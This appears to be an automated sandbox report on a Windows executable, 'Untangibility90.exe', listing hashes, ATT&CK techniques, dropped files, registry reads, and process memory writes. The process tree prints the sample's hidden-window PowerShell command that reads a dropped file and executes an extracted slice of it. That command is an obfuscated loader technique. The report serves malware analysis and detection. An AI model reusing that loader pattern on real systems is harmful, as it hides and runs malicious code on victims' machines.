e71a63d388fdcf8ad7fa5b03592fa116469a8a9f1bdcbbcb7aa459665905ff8a

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
17-12-2024 07:10

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General

Target

Untangibility90.exe
Size

1.1MB
MD5

343b6d84d887fc6f42e259c22ddce824
SHA1

e7423cd8620ecb4dee9e1781386c1d0273bcd373
SHA256

dd5ae442b593e4611d93ddcf5606f20ea4686a9d63b46f546a7f86bd1785d41b
SHA512

1b697bd0446b44c05fc2cea0ea073476486c8f754797c714a6dc4578267dcc8a23243c0c65b9a7cd603a0b3bbf4cd5c995aae75cddd9759f69cb3d28e9785852
SSDEEP

24576:ONrNYo3K+3fC/j6U3VwV5k7j5awX300zQUGtZV:e+L463VwXgj5aEkHUGtZV

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2820	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
2088	Untangibility90.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\stilhederne\tamtammens.ini	Untangibility90.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\inddatafunktionens.Tra	Untangibility90.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Untangibility90.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2820	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 2820	2088	Untangibility90.exe	30
PID 2088 wrote to memory of 2820	2088	Untangibility90.exe	30
PID 2088 wrote to memory of 2820	2088	Untangibility90.exe	30
PID 2088 wrote to memory of 2820	2088	Untangibility90.exe	30

C:\Users\Admin\AppData\Local\Temp\Untangibility90.exe
"C:\Users\Admin\AppData\Local\Temp\Untangibility90.exe"
1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Medtagning=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Khazaddum.Pre224';$Untusked=$Medtagning.SubString(27994,3);.$Untusked($Medtagning) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\nsd931C.tmp\nsExec.dll

Filesize
7KB

MD5
675c4948e1efc929edcabfe67148eddd

SHA1
f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

SHA256
1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

SHA512
61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

Download Submit
memory/2820-15-0x0000000074021000-0x0000000074022000-memory.dmp

Filesize
4KB

Download
memory/2820-16-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/2820-19-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/2820-18-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/2820-17-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/2820-20-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download